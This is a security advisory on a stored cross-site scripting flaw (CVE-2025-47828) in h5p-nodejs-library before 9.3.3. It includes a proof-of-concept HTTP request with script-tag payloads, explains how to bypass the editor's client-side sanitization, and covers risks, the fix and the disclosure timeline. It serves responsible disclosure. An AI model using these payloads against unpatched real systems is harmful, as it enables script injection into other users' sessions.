Advisory: Stored Cross-Site Scripting via text fields in H5P module (h5p-nodejs-library) of Lumi Education (CVE-2025-47828)
Release of SCHUTZWERK-SA-2024-006
September 22, 2026

A stored cross-site scripting (XSS) vulnerability has been identified in the H5P module h5p-nodejs-library by Lumi Education UG in versions prior to 9.3.3. The vulnerability allows users to inject malicious JavaScript code in text fields. This code is then executed in victims’ browsers when viewing the affected H5P content.
Metadata
- Affected product: h5p-nodejs-library
- Affected version: All versions prior to 9.3.3
- Vendor: Lumi Education UG
- Problem type(s):
- CWE-79 Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)
- CVE ID: CVE-2025-47828
- CVE URL: https://www.cve.org/CVERecord?id=CVE-2025-47828
- CVSS 3.1 score: 6.4 (Medium)
- CVSS 3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Advisory URL: https://www.schutzwerk.com/en/blog/schutzwerk-sa-2024-006/
Details
The server relied on the client-side sanitization performed by the H5P editor and did not sanitize plain-text fields itself. An attacker who submits content directly to the API can therefore store arbitrary HTML and JavaScript in these fields.
The vulnerability can be demonstrated using the following HTTP request, where the fields under params.params.timeline.asset in the JSON payload contain a script tag that calls the JavaScript alert function:
POST /api/v3/h5p-editor/edit/670e69f55301ad663ba69f9e HTTP/2
Host: example.com
[...]
{
"library": "H5P.Timeline 1.1",
"params": {
"params": {
"timeline": {
"defaultZoomLevel": "0",
"height": 600,
"asset": {
"media": "<script>alert('Alert from media')</script>",
"credit": "<script>alert('Alert from media')</script>",
"caption": "<script>alert('Alert from media')</script>"
},
"date": [
{
"asset": {},
"text": "<p>SW_BodyText2</p>\n",
"startDate": "1900",
"endDate": "9999",
"headline": "SW_HEADLINE2",
"tag": "SW_tags"
}
],
"language": "en",
"headline": "SW_Headline",
"text": "<div>SW_BodyText</div>"
}
},
"metadata": {
"embedTypes": [
"iframe"
],
"language": "en",
"mainLibrary": "H5P.Timeline",
"preloadedDependencies": [
{
"machineName": "TimelineJS",
"majorVersion": 1,
"minorVersion": 1
},
{
"machineName": "H5P.Timeline",
"majorVersion": 1,
"minorVersion": 1
}
],
"defaultLanguage": "en",
"license": "U",
"title": "SW_Timeline-Title",
"authors": [],
"changes": [],
"extraTitle": "SW_Timeline-Title"
}
},
"parentId": "670e36de4c1be96f1bc6bf65",
"parentType": "lessons"
}
Because the H5P editor sanitizes these fields in the browser, the request must be intercepted and the payload re-inserted before it reaches the server. The vulnerable server accepted the request and responded with 201 Created.
When the H5P content is subsequently viewed, the injected JavaScript executes and the alert dialogs are displayed to the user. This confirms that arbitrary JavaScript execution via stored XSS is possible.
Risk
Attackers have a wide range of options for manipulating the content and behavior of the application. Reputation-damaging content can be displayed, and fake login forms can be served to facilitate phishing attacks. All user actions within the application can be tracked, and actions can be carried out on behalf of the user. If administrative users are targeted, privileges can be escalated by creating new administrative users or assigning new roles to existing ones.
Solution/Mitigation
Update h5p-nodejs-library to version 9.3.3 or later.
Timeline
- 2024-10-14 Vulnerability discovered
- 2024-11-07 Initial contact attempt with the developer
- 2024-11-20 Second contact attempt via a message on https://app.lumi.education/
- 2024-11-28 Third contact attempt via a message in the Lumi Slack channel
- 2025-02-09 First exchange between Lumi and the team of developers who use the H5P framework in their project. The team shared details of the vulnerability with Lumi.
- 2025-02-11 Release of h5p-nodejs-library v9.3.3 ( https://github.com/Lumieducation/H5P-Nodejs-library/releases/tag/v9.3.3) , which fixes the vulnerability
- 2025-05-11 CVE-2025-47828 published by MITRE
- 2026-01-14 Customer authorized publication of the advisory. Publication had to be delayed for undisclosed reasons.
- 2026-09-22 Advisory released
Credits
The vulnerability was discovered during a customer engagement by Florian Schmid of SCHUTZWERK GmbH.